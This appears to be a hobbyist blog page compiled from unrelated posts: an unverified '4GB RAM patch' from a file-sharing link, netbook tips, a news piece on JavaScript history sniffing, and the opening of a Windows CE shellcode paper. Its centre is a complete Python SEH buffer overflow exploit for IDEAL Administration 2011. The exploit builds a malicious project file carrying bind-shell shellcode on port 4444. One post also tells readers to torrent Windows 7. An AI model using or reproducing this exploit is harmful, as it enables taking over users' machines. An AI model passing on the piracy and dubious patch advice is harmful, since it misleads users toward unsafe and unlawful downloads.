Steve jobs biography ebook free

if you want this ebook please go to and download if completely free

New Forum Website check it out

This is a new website that yall should help join and get it up and running

www.eugenikz.info

go and register and help the community!

PhreePhiles needs your help.

i am currently taking donations of any amount to help support a program to give kids laptops for their schooling, if you would like to donate please click on the donate button... the kids and I will be very thankful...

How to access more than 4GB ram in x32/x86 arch.

Now most people will try to tell you that this is not possible, that all you can do is enable the /PAE switch in the boot.ini file, this is wronge.

Microsoft OS does have the capability to overcome this addressing issue but it is disabled for some odd reason only known to MS. this is done by ram lock registry keys and some kernel work as well, im going to show your a program that takes care of this without modifying any kernel code or messing up your current Operating System [gives you the option to boot up the patched kernel in the boot phase, but its exactly like you were booting your non-patched OS]

now all you have to do is download the 4gb-patch in the link at the end of this post.

Run the program as administrator and click, check for updates, then click patch x86 ram lock if no updates are available,

wait for the program to let you know its been finnished then reboot your system.

now on the boot screen you will see two options its most likely the first choise, itll say windows 7 ddr [some crap in german], press enter on that one,

now check out your ram in the controlpanel and in the task manager. now you can run upto 64GB RAM on an x32/x86 arch.

note: this only works in windows 7 for some reason.
and its dosnt always work either, i have another matchine and it never works even with another patcher. im still working on this BTW.

download link: http://www.4shared.com/file/ao3tPw_F/4GB-RAMPatch-Multilingual-1272.html

HP mini Secrets

Today I am going to show you the hidden secrets of the hp mini 210, and its intel atom N450,

the atom N450 apparently supports hyper threading and x64 arch. This is something hp and Microsoft neglects to tell you, hp also doesn’t have any support for the x64 based windows OS on the hp mini, but today im going to show you how to set it up so the basics of your mini will work

hidden things

the intel Atom can not support more than 2GB ram [I have not tested this out yet but hopefully soon, I know for a fact 2GB does work, I just upgraded the ram this morning]

x64 based windows drivers are not at all available for the hp mini 210, I have no idea why hp packages this netbook with a 32 bit operating system [windows 7 starter]

hyper-threading, when I first got this netbook hyper threading was disabled, I didn’t even know it was capable of this but it is, there’s a slight boost nut nothing big,

now behind the battery there is a sim card slot for 3G, I don’t know if a 3g modem is embedded inside the chip set but I do know there’ss an empty PCIe slot inside the netbook were we can put a modem

now these are not the new netbooks that are advertised as 3g ready, so hp all in all if you have bought an hp mini 210 and you want to upgrade to make it almost as powerful as a laptop just follow the instructions

1. download a x64 version of windows 7 [Google “windows 7 x64 torrent]
2. set up a virtual hard disk, set how much space you want the new windows install to have and format the space to NTFS.
3. Burn the windows ISO to a DVD [make sure its boot able] I recommend googling the phrase “Microsoft usb/DVD creator” a lot easier
4. plug in your usb/DVD and then restart and boot from the device, choose the partition you just created.
5. Now go to the hp website and go to your computers driver section and download the drivers [might need to do this from another computer seeing as how you will not have internet drivers yet] install them, they worked fine for me
6. now press the windows key and r and type msconfig and go too boot, then click advanced boot options, now enable the CPU check box by clicking it and then choose the highest number of CPUs, you just enabled hyper threading click apply and ok then restart

you now have your net book to its full capability, enjoy. if i need to update this i will.

IDEAL Administration 2011 v11.4 Local SEH Buffer Overflow Exploit

#!/usr/bin/env python

#################################################################
#
# IDEAL Administration 2011 v11.4 Local SEH Buffer Overflow Exploit
# Found By: Dr_IDE
# Usage: Migrate -> Open Migration Project -> Bind Shell
# Download: www.pointdev.com
# Tested On: Windows XPSP3
# Notes: Another version, another exploit... come on guys.
#
#################################################################

# windows/shell_bind_tcp - 696 bytes Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444
sc = (
"\x89\xe2\xdb\xcc\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x42\x4a\x4a\x4b\x50\x4d\x4b\x58\x4b\x49\x4b\x4f\x4b"
"\x4f\x4b\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x46\x44\x4c\x4b"
"\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a"
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x45\x51"
"\x4a\x4b\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x50"
"\x31\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x43\x37"
"\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c\x34\x47"
"\x4b\x50\x54\x46\x44\x46\x48\x44\x35\x4b\x55\x4c\x4b\x51\x4f"
"\x46\x44\x43\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c"
"\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x44\x43\x46\x4c\x4c\x4b"
"\x4d\x59\x42\x4c\x47\x54\x45\x4c\x43\x51\x49\x53\x50\x31\x49"
"\x4b\x43\x54\x4c\x4b\x47\x33\x46\x50\x4c\x4b\x47\x30\x44\x4c"
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51"
"\x4e\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f"
"\x4e\x36\x45\x36\x46\x33\x43\x56\x45\x38\x47\x43\x46\x52\x42"
"\x48\x43\x47\x42\x53\x46\x52\x51\x4f\x50\x54\x4b\x4f\x48\x50"
"\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48"
"\x56\x51\x4f\x4d\x59\x4b\x55\x45\x36\x4b\x31\x4a\x4d\x43\x38"
"\x45\x52\x46\x35\x43\x5a\x45\x52\x4b\x4f\x48\x50\x45\x38\x49"
"\x49\x44\x49\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56\x51\x43"
"\x51\x43\x51\x43\x51\x43\x46\x33\x51\x53\x50\x53\x47\x33\x51"
"\x43\x4b\x4f\x4e\x30\x42\x46\x43\x58\x42\x31\x51\x4c\x45\x36"
"\x46\x33\x4b\x39\x4d\x31\x4c\x55\x45\x38\x4e\x44\x44\x5a\x42"
"\x50\x49\x57\x50\x57\x4b\x4f\x49\x46\x42\x4a\x44\x50\x50\x51"
"\x50\x55\x4b\x4f\x48\x50\x45\x38\x49\x34\x4e\x4d\x46\x4e\x4a"
"\x49\x46\x37\x4b\x4f\x4e\x36\x50\x53\x46\x35\x4b\x4f\x48\x50"
"\x43\x58\x4b\x55\x47\x39\x4c\x46\x50\x49\x46\x37\x4b\x4f\x48"
"\x56\x46\x30\x50\x54\x50\x54\x46\x35\x4b\x4f\x4e\x30\x4c\x53"
"\x42\x48\x4b\x57\x44\x39\x48\x46\x44\x39\x50\x57\x4b\x4f\x48"
"\x56\x51\x45\x4b\x4f\x4e\x30\x42\x46\x43\x5a\x42\x44\x42\x46"
"\x43\x58\x43\x53\x42\x4d\x4c\x49\x4b\x55\x43\x5a\x46\x30\x51"
"\x49\x51\x39\x48\x4c\x4d\x59\x4d\x37\x42\x4a\x51\x54\x4b\x39"
"\x4a\x42\x50\x31\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x50\x42\x46"
"\x4d\x4b\x4e\x50\x42\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x47\x48"
"\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x4e\x53\x42"
"\x36\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x49\x46\x51\x4b\x50\x57"
"\x51\x42\x50\x51\x46\x31\x50\x51\x43\x5a\x43\x31\x50\x51\x50"
"\x51\x51\x45\x50\x51\x4b\x4f\x48\x50\x42\x48\x4e\x4d\x48\x59"
"\x45\x55\x48\x4e\x50\x53\x4b\x4f\x49\x46\x42\x4a\x4b\x4f\x4b"
"\x4f\x47\x47\x4b\x4f\x4e\x30\x4c\x4b\x51\x47\x4b\x4c\x4b\x33"
"\x48\x44\x45\x34\x4b\x4f\x49\x46\x50\x52\x4b\x4f\x4e\x30\x45"
"\x38\x4a\x50\x4d\x5a\x43\x34\x51\x4f\x51\x43\x4b\x4f\x4e\x36"
"\x4b\x4f\x4e\x30\x41\x41")

head = ("\x0D\x0A\x5B\x47\x72\x6F\x75\x70\x2C\x45\x78\x70\x6F\x72\x74\x2C\x59\x65\x73\x5D\x0D\x0A"); # Project Header
buff = ("\x43\x6f\x6d\x70\x75\x74\x65\x72\x3D" + "\x41" * 2432); # XPSP3 EIP Overwrite
nseh = ("\xEB\x06\x90\x90"); # NSEH
retn = ("\x10\x77\xA0\x02"); # P/P/R ULMigrate_us.dll XPSP3
nops = ("\x90" * 16);
foot = ("\x0D\x0A\x5B\x45\x6E\x64\x5D\x0D\x0A");

try:
print "[*] Generating Evil Migrate File..."
f1 = open("unIDEAL.ipj","w");
f1.write(head + buff + nseh + retn + nops + sc + foot);
f1.close();
print "[*] File created successfully!"

except:
print "[-] There was a problem writing the file."

How hackers Find You.

Firewall penetration using javascript
Using javascript on a Web site, you can make someone's router port-forward any port back to them. This software forces any port that might normally be restricted to become open to attack, and leaves the door open for hackers. Worse yet, users might not even know it's happening.
Browser protocol confusion
Hackers can fool a browser into thinking it is using HTTP protocol (normally uses for Web browsing) when in fact it's using a different protocol such as FTP or IRC. This in turn confuses the router on a network and forces it to open ports that might normally be restricted.
Businesses should run strict firewalls to prevent this type of attack, with limited outbound connections. Running an end-point based firewall could also prevent this attack.
Browser-based geo-location harvesting
A malicious Web site can use a browser to learn some information about a user's network with no authentication required. The browser then sends information to an attacker, who asks Google where the original user lives. Google has this data because they correlate network locations with GPS coordinates, collected during their Street View mapping.

http://www.itbusiness.ca/it/client/en/home/News.asp?id=59914&PageMem=2

Web Surfing History Is Accessible (Without Your Permission) Via JavaScript

http://www.sciencedaily.com/releases/2010/12/101203091451.htm

"JavaScript is a great thing, it allows things like Gmail and Google Maps and a whole bunch of Web 2.0 applications; but it also opens up a lot of security vulnerabilities. We want to let the broad public know that history sniffing is possible, it actually happens out there, and that there are a lot of people vulnerable to this attack," said UC San Diego computer science professor Sorin Lerner.
The researchers documented JavaScript code secretly collecting browsing histories of Web users through "history sniffing" and sending that information across the network. While history sniffing and its potential implications for privacy violation have been discussed and demonstrated, the new work provides the first empirical analysis of history sniffing on the real Web.
"Nobody knew if anyone on the Internet was using history sniffing to get at users' private browsing history. What we were able to show is that the answer is yes," said UC San Diego computer science professor Hovav Shacham.
The computer scientists from the UC San Diego Jacobs School of Engineering presented this work in October at the 2010 ACM Conference on Computer and Communications Security (CCS 2010) in a paper entitled, "An Empirical Study of Privacy-Violating Information Flows in JavaScript Web Applications."
History Sniffing
History sniffing takes place without your knowledge or permission and relies on the fact that browsers display links to sites you've visited differently than ones you haven't: by default, visited links are purple, unvisited links blue. History sniffing JavaScript code running on a Web page checks to see if your browser displays links to specific URLs as blue or purple.
History sniffing can be used by website owners to learn which competitor sites visitors have or have not been to. History sniffing can also be deployed by advertising companies looking to build user profiles, or by online criminals collecting information for future phishing attacks. Learning what banking site you visit, for example, suggests which fake banking page to serve up during a phishing attack aimed at collecting your bank account login information.
"JavaScript is a great thing, it allows things like Gmail and Google Maps and a whole bunch of Web 2.0 applications; but it also opens up a lot of security vulnerabilities. We want to let the broad public know that history sniffing is possible, it actually happens out there, and that there are a lot of people vulnerable to this attack," said UC San Diego computer science professor Sorin Lerner.
The latest versions of Firefox, Chrome, and Safari now block the history sniffing attacks the computer scientists monitored. Internet Explorer, however, does not currently defend against history sniffing. In addition, anyone using anything but the latest versions of the patched browsers is also vulnerable.
Sniffing out History Sniffing
"We built a dynamic data flow engine for JavaScript to track history sniffing in the wild. I don't know of any other practical tool that can be used to do this kind of extensive study," said Dongseok Jang, the UC San Diego computer science Ph.D. student who developed the JavaScript monitoring technology. The researchers plan to broaden their work and study what information is being leaked by applications on social media and other Web 2.0 sites.
The computer scientists looked for history sniffing on the front pages of the top 50,000 websites, according to Alexa global website rankings. They found that 485 of the top 50,000 sites inspect style properties that can be used to infer the browser's history. Out of 485 sites, 63 transferred the browser's history to the network. "We confirmed that 46 of them are actually doing history sniffing, one of these sites being in the Alexa global top 100," the UC San Diego computer scientists write in the CCS 2010 paper.
Table 1 in the paper outlines the websites the computer scientists found that performed history sniffing during the data collection period. In some cases, the websites created their own history sniffing systems. In other cases, advertisements served by outside companies contained JavaScript code performing the history sniffing.
History Sniffing in Perspective
The computer scientists say that history sniffing does not pose as great a risk to your privacy or identity as malicious software programs (malware) that can steal your banking information or your entire Facebook profile. But, according to Shacham, "history sniffing is unusual in effectively allowing any site you visit to learn about your browsing habits on any other site, regardless if the two sites have any business relationship."
To see history sniffing in action, visit: www.whattheinternetknowsaboutyou.com
"I think people who have updated or switched browsers should now worry about things other than history sniffing, like keeping their Flash plug-in up to date so they don't get exploited. But that doesn't mean that the companies that have engaged in history sniffing for the currently 60 percent of the user population that is vulnerable to it should get a free pass," said Shacham.
Tracking History Sniffing
The UC San Diego history-sniffing detection tool analyzes the JavaScript running on the page to identify and tag all instances where the browser history is being checked. The way the system tags each of these potential history tracking events can be compared to the ink or paint packets that banks add to bags of money being stolen.
"As soon as a JavaScript tries to look at the color of a link, we immediately put 'paint' on that. Some sites collected that information but never sent it over the network, so there was all this 'paint' inside the browser. But in other cases, we observed 'paint' being sent over the network, indicating that history sniffing is going on," explained Lerner. The computer scientists only considered it history sniffing when the browser history information was sent over the network to a server.
"We detected when browser history is looked at, collected on the browser and sent on the network from the browser to their servers. What servers then do with that information is speculation," said Lerner.
The "paint" tracking approach to monitoring JavaScript could be useful for more than just history sniffing, Lerner explained. "It could be useful for understanding what information is being leaked by applications on Web 2.0 sites. Many of these apps use a lot of JavaScript."

Hacking Windows CE

Windows CE Overview
Windows CE is a very popular embedded operating system for PDAs and

mobiles. As the name, it's developed by Microsoft. Because of the similar

APIs, the Windows developers can easily develop applications for Windows

CE. Maybe this is an important reason that makes Windows CE popular.

Windows CE 5.0 is the latest version, but Windows CE.net(4.2) is the most

useful version, and this paper is based on Windows CE.net.

For marketing reason, Windows Mobile Software for Pocket PC and Smartphone

are considered as independent products, but they are also based on the

core of Windows CE.

By default, Windows CE is in little-endian mode and it supports several

processors.

--[ 3 - ARM Architecture

ARM processor is the most popular chip in PDAs and mobiles, almost all of

the embedded devices use ARM as CPU. ARM processors are typical RISC

processors in that they implement a load/store architecture. Only load and

store instructions can access memory. Data processing instructions operate

on register contents only.

There are six major versions of ARM architecture. These are denoted by

the version numbers 1 to 6.

ARM processors support up to seven processor modes, depending on the

architecture version. These modes are: User, FIQ-Fast Interrupt Request,

IRQ-Interrupt Request, Supervisor, Abort, Undefined and System. The System

mode requires ARM architecture v4 and above. All modes except User mode

are referred to as privileged mode. Applications usually execute in User

mode, but on Pocket PC all applications appear to run in kernel mode, and

we'll talk about it late.

ARM processors have 37 registers. The registers are arranged in partially

overlapping banks. There is a different register bank for each processor

mode. The banked registers give rapid context switching for dealing with

processor exceptions and privileged operations.

In ARM architecture v3 and above, there are 30 general-purpose 32-bit

registers, the program counter(pc) register, the Current Program Status

Register(CPSR) and five Saved Program Status Registers(SPSRs). Fifteen

general-purpose registers are visible at any one time, depending on the

current processor mode. The visible general-purpose registers are from r0

to r14.

By convention, r13 is used as a stack pointer(sp) in ARM assembly language.

The C and C++ compilers always use r13 as the stack pointer.

In User mode and System mode, r14 is used as a link register(lr) to store

the return address when a subroutine call is made. It can also be used as

a general-purpose register if the return address is stored in the stack.

The program counter is accessed as r15(pc). It is incremented by four

bytes for each instruction in ARM state, or by two bytes in Thumb state.

Branch instructions load the destination address into the pc register.

You can load the pc register directly using data operation instructions.

This feature is different from other processors and it is useful while

writing shellcode.

--[ 4 - Windows CE Memory Management

Understanding memory management is very important for buffer overflow

exploit. The memory management of Windows CE is very different from other

operating systems, even other Windows systems.

Windows CE uses ROM (read only memory) and RAM (random access memory).

The ROM stores the entire operating system, as well as the applications

that are bundled with the system. In this sense, the ROM in a Windows CE

system is like a small read-only hard disk. The data in ROM can be

maintained without power of battery. ROM-based DLL files can be designated

as Execute in Place. XIP is a new feature of Windows CE.net. That is,

they're executed directly from the ROM instead of being loaded into

program RAM and then executed. It is a big advantage for embedded systems.

The DLL code doesn't take up valuable program RAM and it doesn't have to

be copied into RAM before it's launched. So it takes less time to start an

application. DLL files that aren't in ROM but are contained in the object

store or on a Flash memory storage card aren't executed in place; they're

copied into the RAM and then executed.

The RAM in a Windows CE system is divided into two areas: program memory

and object store.

The object store can be considered something like a permanent virtual RAM

disk. Unlike the RAM disks on a PC, the object store maintains the files

stored in it even if the system is turned off. This is the reason that

Windows CE devices typically have a main battery and a backup battery.

They provide power for the RAM to maintain the files in the object store.

Even when the user hits the reset button, the Windows CE kernel starts up

looking for a previously created object store in RAM and uses that store

if it finds one.

Another area of the RAM is used for the program memory. Program memory is

used like the RAM in personal computers. It stores the heaps and stacks

for the applications that are running. The boundary between the object

store and the program RAM is adjustable. The user can move the dividing

line between object store and program RAM using the System Control Panel

applet.

Windows CE is a 32-bit operating system, so it supports 4GB virtual

address space. The layout is as following:

+----------------------------------------+ 0xFFFFFFFF

| | | Kernel Virtual Address: |

| | 2 | KPAGE Trap Area, |

| | G | KDataStruct, etc |

| | B | ... |

| | |--------------------------------+ 0xF0000000

| 4 | K | Static Mapped Virtual Address |

| G | E | ... |

| B | R | ... |

| | N |--------------------------------+ 0xC4000000

| V | E | NK.EXE |

| I | L |--------------------------------+ 0xC2000000

| R | | ... |

| T | | ... |

| U |---|--------------------------------+ 0x80000000

| A | | Memory Mapped Files |

| L | 2 | ... |

| | G |--------------------------------+ 0x42000000

| A | B | Slot 32 Process 32 |

| D | |--------------------------------+ 0x40000000

| D | U | ... |

| R | S |--------------------------------+ 0x08000000

| E | E | Slot 3 DEVICE.EXE |

| S | R |--------------------------------+ 0x06000000

| S | | Slot 2 FILESYS.EXE |

| | |--------------------------------+ 0x04000000

| | | Slot 1 XIP DLLs |

| | |--------------------------------+ 0x02000000

| | | Slot 0 Current Process |

+---+---+--------------------------------+ 0x00000000

The upper 2GB is kernel space, used by the system for its own data. And

the lower 2GB is user space. From 0x42000000 to below 0x80000000 memories

are used for large memory allocations, such as memory-mapped files, object

store is in here. From 0 to below 0x42000000 memories are divided into 33

slots, each of which is 32MB.

Slot 0 is very important; it's for the currently running process. The

virtual address space layout is as following:

+---+------------------------------------+ 0x02000000

| | DLL Virtual Memory Allocations |

| S | +--------------------------------|

| L | | ROM DLLs:R/W Data |

| O | |--------------------------------|

| T | | RAM DLL+OverFlow ROM DLL: |

| 0 | | Code+Data |

| | +--------------------------------|

| C +------+-----------------------------|

| U | A |

| R V | |

| R +-------------------------+----------|

| E | General Virtual Memory Allocations|

| N | +--------------------------------|

| T | | Process VirtualAlloc() calls |

| | |--------------------------------|

| P | | Thread Stack |

| R | |--------------------------------|

| O | | Process Heap |

| C | |--------------------------------|

| E | | Thread Stack |

| S |---+--------------------------------|

| S | Process Code and Data |

| |------------------------------------+ 0x00010000

| | Guard Section(64K)+UserKInfo |

+---+------------------------------------+ 0x00000000

First 64 KB reserved by the OS. The process' code and data are mapped from

0x00010000, then followed by stacks and heaps. DLLs loaded into the top

address. One of the new features of Windows CE.net is the expansion of an

application's virtual address space from 32 MB, in earlier versions of

Windows CE, to 64 MB, because the Slot 1 is used as XIP.

--[ 5 - Windows CE Processes and Threads

Windows CE treats processes in a different way from other Windows systems.

Windows CE limits 32 processes being run at any one time. When the system

starts, at least four processes are created: NK.EXE, which provides the

kernel service, it's always in slot 97; FILESYS.EXE, which provides file

system service, it's always in slot 2; DEVICE.EXE, which loads and

maintains the device drivers for the system, it's in slot 3 normally; and

GWES.EXE, which provides the GUI support, it's in slot 4 normally. The

other processes are also started, such as EXPLORER.EXE.

Shell is an interesting process because it's not even in the ROM.

SHELL.EXE is the Windows CE side of CESH, the command line-based monitor.

The only way to load it is by connecting the system to the PC debugging

station so that the file can be automatically downloaded from the PC. When

you use Platform Builder to debug the Windows CE system, the SHELL.EXE

will be loaded into the slot after FILESYS.EXE.

Threads under Windows CE are similar to threads under other Windows

systems. Each process at least has a primary thread associated with it

upon starting even if it never explicitly created one. And a process can

create any number of additional threads, it's only limited by available

memory.

Each thread belongs to a particular process and shares the same memory

space. But SetProcPermissions(-1) gives the current thread access to any

process. Each thread has an ID, a private stack and a set of registers.

The stack size of all threads created within a process is set by the

linker when the application is compiled.

The IDs of process and thread in Windows CE are the handles of the

corresponding process and thread. It's funny, but it's useful while

programming.

When a process is loaded, system will assign the next available slot to it

. DLLs loaded into the slot and then followed by the stack and default

process heap. After this, then executed.

When a process' thread is scheduled, system will copy from its slot into

slot 0. It isn't a real copy operation; it seems just mapped into slot 0.

This is mapped back to the original slot allocated to the process if the

process becomes inactive. Kernel, file system, windowing system all runs

in their own slots

Processes allocate stack for each thread, the default size is 64KB,

depending on link parameter when the program is compiled. The top 2KB is

used to guard against stack overflow, we can't destroy this memory,

otherwise, the system will freeze. And the remained available for use.

Variables declared inside functions are allocated in the stack. Thread's

stack memory is reclaimed when it terminates.

--[ 6 - Windows CE API Address Search Technology

We must have a shellcode to run under Windows CE before exploit. Windows

CE implements as Win32 compatibility. Coredll provides the entry points

for most APIs supported by Windows CE. So it is loaded by every process.

The coredll.dll is just like the kernel32.dll and ntdll.dll of other Win32

systems. We have to search necessary API addresses from the coredll.dll

and then use these APIs to implement our shellcode. The traditional method

to implement shellcode under other Win32 systems is to locate the base

address of kernel32.dll via PEB structure and then search API addresses

via PE header.

Firstly, we have to locate the base address of the coredll.dll. Is there a

structure like PEB under Windows CE? The answer is yes. KDataStruct is an

important kernel structure that can be accessed from user mode using the

fixed address PUserKData and it keeps important system data, such as

module list, kernel heap, and API set pointer table (SystemAPISets).

KDataStruct is defined in nkarm.h:

// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\nkarm.h

struct KDataStruct {

LPDWORD lpvTls; /* 0x000 Current thread local storage pointer */

HANDLE ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */

char bResched; /* 0x084 reschedule flag */

char cNest; /* 0x085 kernel exception nesting */

char bPowerOff; /* 0x086 TRUE during "power off" processing */

char bProfileOn; /* 0x087 TRUE if profiling enabled */

ulong unused; /* 0x088 unused */

ulong rsvd2; /* 0x08c was DiffMSec */

PPROCESS pCurPrc; /* 0x090 ptr to current PROCESS struct */

PTHREAD pCurThd; /* 0x094 ptr to current THREAD struct */

DWORD dwKCRes; /* 0x098 */

ulong handleBase; /* 0x09c handle table base address */

PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */

LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */

LPVOID alpvIntrData[SYSINTR_MAX_DEVICES]; /* 0x220 */

ulong pAPIReturn; /* 0x2a0 direct API return address for kernel mode */

uchar *pMap; /* 0x2a4 ptr to MemoryMap array */

DWORD dwInDebugger; /* 0x2a8 !0 when in debugger */

PTHREAD pCurFPUOwner; /* 0x2ac current FPU owner */

PPROCESS pCpuASIDPrc; /* 0x2b0 current ASID proc */

long nMemForPT; /* 0x2b4 - Memory used for PageTables */

long alPad[18]; /* 0x2b8 - padding */

DWORD aInfo[32]; /* 0x300 - misc. kernel info */

// WINCE420\PUBLIC\COMMON\OAK\INC\pkfuncs.h

#define KINX_PROCARRAY 0 /* 0x300 address of process array */

#define KINX_PAGESIZE 1 /* 0x304 system page size */

#define KINX_PFN_SHIFT 2 /* 0x308 shift for page # in PTE */

#define KINX_PFN_MASK 3 /* 0x30c mask for page # in PTE */

#define KINX_PAGEFREE 4 /* 0x310 # of free physical pages */

#define KINX_SYSPAGES 5 /* 0x314 # of pages used by kernel */

#define KINX_KHEAP 6 /* 0x318 ptr to kernel heap array */

#define KINX_SECTIONS 7 /* 0x31c ptr to SectionTable array */

#define KINX_MEMINFO 8 /* 0x320 ptr to system MemoryInfo struct */

#define KINX_MODULES 9 /* 0x324 ptr to module list */

#define KINX_DLL_LOW 10 /* 0x328 lower bound of DLL shared space */

#define KINX_NUMPAGES 11 /* 0x32c total # of RAM pages */

#define KINX_PTOC 12 /* 0x330 ptr to ROM table of contents */

#define KINX_KDATA_ADDR 13 /* 0x334 kernel mode version of KData */

#define KINX_GWESHEAPINFO 14 /* 0x338 Current amount of gwes heap in use */

#define KINX_TIMEZONEBIAS 15 /* 0x33c Fast timezone bias info */

#define KINX_PENDEVENTS 16 /* 0x340 bit mask for pending interrupt events */

#define KINX_KERNRESERVE 17 /* 0x344 number of kernel reserved pages */

#define KINX_API_MASK 18 /* 0x348 bit mask for registered api sets */

#define KINX_NLS_CP 19 /* 0x34c hiword OEM code page, loword ANSI code page */

#define KINX_NLS_SYSLOC 20 /* 0x350 Default System locale */

#define KINX_NLS_USERLOC 21 /* 0x354 Default User locale */

#define KINX_HEAP_WASTE 22 /* 0x358 Kernel heap wasted space */

#define KINX_DEBUGGER 23 /* 0x35c For use by debugger for protocol communication */

#define KINX_APISETS 24 /* 0x360 APIset pointers */

#define KINX_MINPAGEFREE 25 /* 0x364 water mark of the minimum number of free pages */

#define KINX_CELOGSTATUS 26 /* 0x368 CeLog status flags */

#define KINX_NKSECTION 27 /* 0x36c Address of NKSection */

#define KINX_PWR_EVTS 28 /* 0x370 Events to be set after power on */

#define KINX_NKSIG 31 /* 0x37c last entry of KINFO -- signature when NK is ready */

#define NKSIG 0x4E4B5347 /* signature "NKSG" */

/* 0x380 - interlocked api code */

/* 0x400 - end */

}; /* KDataStruct */

/* High memory layout

*

* This structure is mapped in at the end of the 4GB virtual

* address space.

*

* 0xFFFD0000 - first level page table (uncached) (2nd half is r/o)

* 0xFFFD4000 - disabled for protection

* 0xFFFE0000 - second level page tables (uncached)

* 0xFFFE4000 - disabled for protection

* 0xFFFF0000 - exception vectors

* 0xFFFF0400 - not used (r/o)

* 0xFFFF1000 - disabled for protection

* 0xFFFF2000 - r/o (physical overlaps with vectors)

* 0xFFFF2400 - Interrupt stack (1k)

* 0xFFFF2800 - r/o (physical overlaps with Abort stack & FIQ stack)

* 0xFFFF3000 - disabled for protection

* 0xFFFF4000 - r/o (physical memory overlaps with vectors & intr. stack & FIQ stack)

* 0xFFFF4900 - Abort stack (2k - 256 bytes)

* 0xFFFF5000 - disabled for protection

* 0xFFFF6000 - r/o (physical memory overlaps with vectors & intr. stack)

* 0xFFFF6800 - FIQ stack (256 bytes)

* 0xFFFF6900 - r/o (physical memory overlaps with Abort stack)

* 0xFFFF7000 - disabled

* 0xFFFFC000 - kernel stack

* 0xFFFFC800 - KDataStruct

* 0xFFFFCC00 - disabled for protection (2nd level page table for 0xFFF00000)

*/

The value of PUserKData is fixed as 0xFFFFC800 on the ARM processor, and

0x00005800 on other CPUs. The last member of KDataStruct is aInfo. It

offsets 0x300 from the start address of KDataStruct structure. Member

aInfo is a DWORD array, there is a pointer to module list in index

9(KINX_MODULES), and it's defined in pkfuncs.h. So offsets 0x324 from

0xFFFFC800 is the pointer to the module list.

Well, let's look at the Module structure. I marked the offsets of the

Module structure as following:

// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h

typedef struct Module {

LPVOID lpSelf; /* 0x00 Self pointer for validation */

PMODULE pMod; /* 0x04 Next module in chain */

LPWSTR lpszModName; /* 0x08 Module name */

DWORD inuse; /* 0x0c Bit vector of use */

DWORD calledfunc; /* 0x10 Called entry but not exit */

WORD refcnt[MAX_PROCESSES]; /* 0x14 Reference count per process*/

LPVOID BasePtr; /* 0x54 Base pointer of dll load (not 0 based) */

DWORD DbgFlags; /* 0x58 Debug flags */

LPDBGPARAM ZonePtr; /* 0x5c Debug zone pointer */

ulong startip; /* 0x60 0 based entrypoint */

openexe_t oe; /* 0x64 Pointer to executable file handle */

e32_lite e32; /* 0x74 E32 header */

// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h

typedef struct e32_lite { /* PE 32-bit .EXE header */

unsigned short e32_objcnt; /* 0x74 Number of memory objects */

BYTE e32_cevermajor; /* 0x76 version of CE built for */

BYTE e32_ceverminor; /* 0x77 version of CE built for */

unsigned long e32_stackmax; /* 0x78 Maximum stack size */

unsigned long e32_vbase; /* 0x7c Virtual base address of module */

unsigned long e32_vsize; /* 0x80 Virtual size of the entire image */

unsigned long e32_sect14rva; /* 0x84 section 14 rva */

unsigned long e32_sect14size; /* 0x88 section 14 size */

struct info e32_unit[LITE_EXTRA]; /* 0x8c Array of extra info units */

// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h

struct info { /* Extra information header block */

unsigned long rva; /* Virtual relative address of info */

unsigned long size; /* Size of information block */

}

// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h

#define EXP 0 /* 0x8c Export table position */

#define IMP 1 /* 0x94 Import table position */

#define RES 2 /* 0x9c Resource table position */

#define EXC 3 /* 0xa4 Exception table position */

#define SEC 4 /* 0xac Security table position */

#define FIX 5 /* 0xb4 Fixup table position */

#define LITE_EXTRA 6 /* Only first 6 used by NK */

} e32_lite, *LPe32_list;

o32_lite *o32_ptr; /* 0xbc O32 chain ptr */

DWORD dwNoNotify; /* 0xc0 1 bit per process, set if notifications disabled */

WORD wFlags; /* 0xc4 */

BYTE bTrustLevel; /* 0xc6 */

BYTE bPadding; /* 0xc7 */

PMODULE pmodResource; /* 0xc8 module that contains the resources */

DWORD rwLow; /* 0xcc base address of RW section for ROM DLL */

DWORD rwHigh; /* 0xd0 high address RW section for ROM DLL */

PGPOOL_Q pgqueue; /* 0xcc list of the page owned by the module */

} Module;

Module structure is defined in kernel.h. The third member of Module

structure is lpszModName, which is the module name string pointer and it

offsets 0x08 from the start of the Module structure. The Module name is

unicode string. The second member of Module structure is pMod, which is an

address that point to the next module in chain. So we can locate the

